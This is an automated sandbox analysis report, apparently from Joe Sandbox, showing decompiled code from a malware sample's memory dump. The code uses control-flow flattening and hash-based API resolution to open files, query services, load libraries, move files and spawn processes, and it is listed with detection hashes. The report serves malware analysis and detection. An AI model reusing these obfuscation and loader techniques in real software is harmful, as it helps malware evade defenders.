				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E007BB6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x7bdec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E007B3F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E007B3E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x7bdec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x7bde3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E007B3F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E007B3E60(_t101, _t98, 0x20de7595, _t126);
									 *0x7bde3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x7be1d4;
										if(_t93 == 0) {
											_t97 = E007B3F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E007B3E60(_t101, _t97, 0xa229df38, _t126);
											 *0x7be1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x7be3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E007B3F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E007B3E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x7be3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x7bde04;
							if( *0x7bde04 == 0) {
								_t95 = E007B3F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x7bde04 = E007B3E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x007b8400
0x007b8400
0x007b8406
0x007b840e
0x007b8416
0x007b841e
0x007b8426
0x007b842b
0x007b8430
0x007b8438
0x007b8440
0x007b8445
0x007b844a
0x007b8452
0x007b845a
0x007b8462
0x007b846a
0x007b8472
0x007b847a
0x007b8482
0x007b8491
0x007b8496
0x007b849a
0x007b84a2
0x007b84af
0x007b84b3
0x007b84bb
0x007b84c3
0x007b84cb
0x007b84cf
0x007b84d7
0x007b84df
0x007b84df
0x007b84e3
0x007b84e3
0x007b84e3
0x007b84e3
0x007b84e9
0x00000000
0x00000000
0x007b84ef
0x007b866e
0x007b8676
0x007b8696
0x007b869a
0x007b86a2
0x007b86a6
0x007b86aa
0x007b86b2
0x007b86b4
0x00000000
0x007b86ba
0x007b86ba
0x007b86c5
0x007b86d1
0x007b86bc
0x007b86bc
0x007b86be
0x00000000
0x00000000
0x00000000
0x00000000
0x007b86be
0x007b86ba
0x007b84f5
0x007b84fb
0x007b854a
0x007b854f
0x007b8551
0x007b8558
0x007b855d
0x007b8564
0x007b8569
0x007b8569
0x007b8578
0x007b857c
0x007b857e
0x007b8589
0x007b858f
0x007b8591
0x007b8598
0x007b859d
0x007b85a4
0x007b85a9
0x007b85a9
0x007b85af
0x00000000
0x007b84fd
0x007b8503
0x007b8543
0x00000000
0x007b8505
0x007b850b
0x00000000
0x007b8511
0x007b8511
0x007b8518
0x007b851f
0x007b8524
0x007b852b
0x007b8530
0x007b8530
0x007b853a
0x007b853c
0x00000000
0x007b853c
0x007b850b
0x007b8503
0x007b84fb
0x00000000
0x007b84ef
0x007b85c8
0x007b85ce
0x007b8630
0x007b8635
0x007b8637
0x007b863e
0x007b8643
0x007b864a
0x007b864f
0x007b864f
0x007b8660
0x007b8662
0x00000000
0x007b85d0
0x007b85d0
0x007b85d6
0x00000000
0x007b85d8
0x007b85de
0x007b85e0
0x007b85e7
0x007b85ec
0x007b85fa
0x007b85fa
0x007b861d
0x007b861f
0x007b8621
0x007b8624
0x00000000
0x007b8626
0x007b8626
0x00000000
0x007b8626
0x007b8624
0x007b85d6
0x00000000
0x007b85b1
0x007b85b1
0x007b85b1
0x007b85bd
0x007b85bd
0x007b85c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 007B861D

Strings

) `3, xrefs: 007B85C8
=, xrefs: 007B846A
6w:, xrefs: 007B85D0
6w:, xrefs: 007B8662
) `3, xrefs: 007B8543

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: ccda62bd42f02e425506a9a40392457b9d6f617e214e413248e23ec35a42d382
Instruction ID: a2809c0d74ac991d42bfb87e0830b122ebcdcd3676dd5af62ffc891945b986d3
Opcode Fuzzy Hash: ccda62bd42f02e425506a9a40392457b9d6f617e214e413248e23ec35a42d382
Instruction Fuzzy Hash: 6D61B271A083119FC768DF68C455BABB7E9AB90714F00891DF4959B290EB7CDD44CB83

Uniqueness

Uniqueness Score: -1.00%

Function 007A0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 007A0F08
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 007A0F3E
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 007A0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 007A0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 007A0DC3

Part of subcall function 007A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,007A0EFD,00000000), ref: 007A1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 007A0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 007A0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 007A0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 007A0E98

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 38315b78aca035dfb566ee46fbce98c0a7d3bccf98b75486dfb30465404da8a0
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: 3331D475A08344ABD714EB60CC58BAB73E9EBCB381F044F2CB54993351D639E881C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 007B8E80, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E007B8E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x7be270 == 0) {
									 *0x7be270 = E007B3E60(_t25, E007B3F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x7be54c; // 0x54e0e0
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x7be4c8;
						if(_t11 == 0) {
							_t11 = E007B3E60(_t25, E007B3F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x7be4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x7be18c;
							if(_t15 == 0) {
								_t15 = E007B3E60(_t25, E007B3F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x7be18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x7be310;
								if(_t19 == 0) {
									_t19 = E007B3E60(_t25, E007B3F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x7be310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x7be18c;
									if(_t22 == 0) {
										_t22 = E007B3E60(_t25, E007B3F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x7be18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x007b8e82
0x007b8e86
0x007b8e8c
0x007b8e91
0x007b8e96
0x007b8e98
0x007b8ea0
0x007b8ea0
0x007b8ea0
0x007b8ea0
0x007b8ea5
0x00000000
0x00000000
0x007b8f7f
0x007b9011
0x00000000
0x007b8f85
0x007b8f8a
0x007b8fd5
0x007b8fed
0x007b8fed
0x007b8ff9
0x007b8ffb
0x007b9009
0x00000000
0x007b8f8c
0x007b8f91
0x00000000
0x007b8f93
0x007b8f93
0x007b8f99
0x007b8fa3
0x007b8fa5
0x007b8fa8
0x007b8fae
0x007b8fb1
0x00000000
0x007b8fb1
0x007b8f91
0x007b8f8a
0x00000000
0x007b8f7f
0x007b8eab
0x007b8f3f
0x007b8f46
0x007b8f59
0x007b8f5e
0x007b8f5e
0x007b8f64
0x007b8f6d
0x007b8f70
0x00000000
0x007b8eb1
0x007b8eb6
0x007b901b
0x007b9022
0x007b9035
0x007b903a
0x007b903a
0x007b9040
0x00000000
0x007b8ebc
0x007b8ec1
0x007b8efc
0x007b8f03
0x007b8f16
0x007b8f1b
0x007b8f1b
0x007b8f2b
0x007b8f2f
0x007b9042
0x007b9049
0x007b8f35
0x007b8f35
0x00000000
0x007b8f35
0x007b8ec3
0x007b8ec8
0x00000000
0x007b8ece
0x007b8ece
0x007b8ed5
0x007b8ee8
0x007b8eed
0x007b8eed
0x007b8ef3
0x007b8ef5
0x00000000
0x007b8ef5
0x007b8ec8
0x007b8ec1
0x007b8eb6
0x00000000
0x007b8fbb
0x007b8fbb
0x007b8fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,0054E0E0,007B8782,?,3251FEFE,?), ref: 007B8FF9

Strings

uw(#, xrefs: 007B9011
T, xrefs: 007B8F93
uw(#, xrefs: 007B8F8C

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: uw(#$uw(#$T
API String ID: 3098006287-2223906957
Opcode ID: ae6691e3961f7db67d7f86c340ba20e9cd9ddb54f66d901674c3d7957d4725f1
Instruction ID: 44ca5a14f46745a62e846e7927482fd0f9e29136575c12f6a8ab8794597b6934
Opcode Fuzzy Hash: ae6691e3961f7db67d7f86c340ba20e9cd9ddb54f66d901674c3d7957d4725f1
Instruction Fuzzy Hash: 7A41D821B04205DFDB646BBC9C847FA22DAA784750F604929F546CB741EE7CDC808797

Uniqueness

Uniqueness Score: -1.00%

Function 007B7120, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E007B7120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E007B34C0(0x7bd830);
							__eflags =  *0x7bdd1c;
							if( *0x7bdd1c == 0) {
								 *0x7bdd1c = E007B3E60(_t21, E007B3F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x7be548; // 0x587e58
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x7be494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E007B3E60(_t21, E007B3F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x7be494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x7bdf30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E007B3E60(_t21, E007B3F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x7bdf30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E007B7080(_t21, 0x7bd7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E007B7080(_t21, 0x7bd8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E007B7080(_t21, 0x7bd800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E007B7080(_t21, 0x7bd860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E007B7080(_t21, 0x7bd890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E007B7080(_t21, 0x7bd7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E007B7080(_t21, 0x7bd8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x007b7120
0x007b7120
0x007b7120
0x007b7125
0x007b7125
0x007b7125
0x007b7125
0x007b712a
0x00000000
0x00000000
0x007b7130
0x007b723f
0x007b7246
0x007b7248
0x007b7260
0x007b7260
0x007b7266
0x007b7268
0x007b726e
0x007b7271
0x007b7276
0x007b7278
0x007b728b
0x007b7290
0x007b7290
0x007b7297
0x007b7299
0x007b729e
0x007b72a0
0x007b72b3
0x007b72b8
0x007b72b8
0x007b72c5
0x007b7136
0x007b7136
0x007b713b
0x007b7190
0x007b7195
0x00000000
0x007b719b
0x007b71a5
0x007b71aa
0x00000000
0x007b71aa
0x007b713d
0x007b713d
0x007b7184
0x007b7189
0x00000000
0x007b713f
0x007b7144
0x007b716e
0x007b7173
0x00000000
0x007b7146
0x007b7146
0x007b714b
0x00000000
0x007b7151
0x007b7158
0x007b715d
0x00000000
0x007b715d
0x007b714b
0x007b7144
0x007b713d
0x007b713b
0x00000000
0x007b7130
0x007b71b4
0x007b71b9
0x007b7207
0x007b720c
0x00000000
0x007b720e
0x007b7218
0x007b721d
0x00000000
0x007b721d
0x007b71bb
0x007b71bb
0x007b71f8
0x007b71fd
0x00000000
0x007b71bd
0x007b71bd
0x007b71c2
0x007b71df
0x007b71e4
0x00000000
0x007b71c4
0x007b71c4
0x007b71c9
0x00000000
0x007b71cb
0x007b71cb
0x00000000
0x007b71cb
0x007b71c9
0x007b71c2
0x007b71bb
0x00000000
0x007b7227
0x007b7227
0x007b7227
0x007b7232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,007B68AC), ref: 007B7266

Strings

Dry9, xrefs: 007B7207
Dry9, xrefs: 007B715D
X~X, xrefs: 007B7268

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9$X~X
API String ID: 1029625771-3144349131
Opcode ID: 057807b7207e09893caae9793401d94042cc3ac17cfdcd00ae6eaaafd220a93d
Instruction ID: b1f7473f07a95f1b1e582a801d6b02eebc51548078005143a9470c6c35b3e05b
Opcode Fuzzy Hash: 057807b7207e09893caae9793401d94042cc3ac17cfdcd00ae6eaaafd220a93d
Instruction Fuzzy Hash: 7B319020B0D10887DA3C6ABE58A97FE11BAE7E0304B604476F151CB795ED2ECD42C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 007B3780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E007B3780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x7bddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E007B3E60(_t36, E007B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x7bddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x7bddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E007B3E60(_t36, E007B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x7bddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x7bddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E007B3E60(_t36, E007B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x7bddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x7be298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E007B3E60(_t36, E007B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x7be298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x7be298;
				if(_t20 == 0) {
					_t20 = E007B3E60(_t36, E007B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x7be298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x7be30c == 0) {
					 *0x7be30c = E007B3E60(_t36, E007B3F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x007b3785
0x007b3780
0x007b378c
0x007b378f
0x007b3793
0x007b37a6
0x007b37ab
0x007b37ab
0x007b37b9
0x007b37bb
0x007b37c0
0x007b37c5
0x007b37d8
0x007b37dd
0x007b37dd
0x007b37ee
0x007b37f0
0x007b37f5
0x007b37fa
0x007b380d
0x007b3812
0x007b3812
0x007b3826
0x007b3828
0x007b382d
0x007b3832
0x007b3845
0x007b384a
0x007b384a
0x007b3855
0x007b3857
0x007b385e
0x007b3871
0x007b3876
0x007b3876
0x007b3884
0x007b388a
0x007b3892
0x007b389d
0x007b38a6
0x007b38b4
0x007b38cc
0x007b38cc
0x007b38d5
0x007b38d9
0x007b38e2

APIs

SHFileOperationW.SHELL32 ref: 007B38D5

Strings

X~, xrefs: 007B3806
X~, xrefs: 007B37D1
X~, xrefs: 007B379F

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: c949cd984748a80fbb0f3577a28565055ee9e5cf4712ad33b3790d03b77b0134
Instruction ID: c5681c0624e206fd16d5bbe9dad6ffb5a565f01fee435bb001258695a1627cc3
Opcode Fuzzy Hash: c949cd984748a80fbb0f3577a28565055ee9e5cf4712ad33b3790d03b77b0134
Instruction Fuzzy Hash: F331BC707002018BD724ABB9DC55BEB37EAAB84704F008A2EB855CB291FA3CDE418795

Uniqueness

Uniqueness Score: -1.00%

Function 007B4B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E007B4B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x7bddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E007B3E60(__ebx, E007B3F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x7bddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x7be21c == 0) {
					 *0x7be21c = E007B3E60(_t26, E007B3F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x7bde3c;
						if(_t15 == 0) {
							_t15 = E007B3E60(_t26, E007B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x7bde3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x7bde3c;
						if(_t17 == 0) {
							_t17 = E007B3E60(_t26, E007B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x7bde3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x007b4b70
0x007b4b70
0x007b4b70
0x007b4b79
0x007b4b7c
0x007b4b80
0x007b4b93
0x007b4b98
0x007b4b98
0x007b4ba6
0x007b4bb0
0x007b4bba
0x007b4bd2
0x007b4bd2
0x007b4bf1
0x007b4bf5
0x007b4c7a
0x007b4bf7
0x007b4bfd
0x007b4c14
0x007b4c1b
0x007b4c2e
0x007b4c33
0x007b4c33
0x007b4c3c
0x007b4c3e
0x007b4c45
0x007b4c58
0x007b4c5d
0x007b4c5d
0x007b4c66
0x007b4c72
0x007b4bff
0x007b4bff
0x007b4c05
0x007b4c13
0x007b4c13
0x007b4bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 007B4BF1

Strings

X~, xrefs: 007B4B8C
D, xrefs: 007B4BB0

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: ff3a2a27c378dfd3a74e106611e12034dfe14fd076bef55b48d525b46ae76988
Instruction ID: dc6f1ee4a84ce5bda6dc1de3894ffdfe6af7e5c4f2706569a0a07e7ad6572c4d
Opcode Fuzzy Hash: ff3a2a27c378dfd3a74e106611e12034dfe14fd076bef55b48d525b46ae76988
Instruction Fuzzy Hash: FB21BC347003019BEB25AF7ACC51BFB3BA6ABD0B00F00852DB654CB2A1FA78DD458795

Uniqueness

Uniqueness Score: -1.00%

Function 007B80A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E007B80A0(signed int __edx) {
				short _v524;
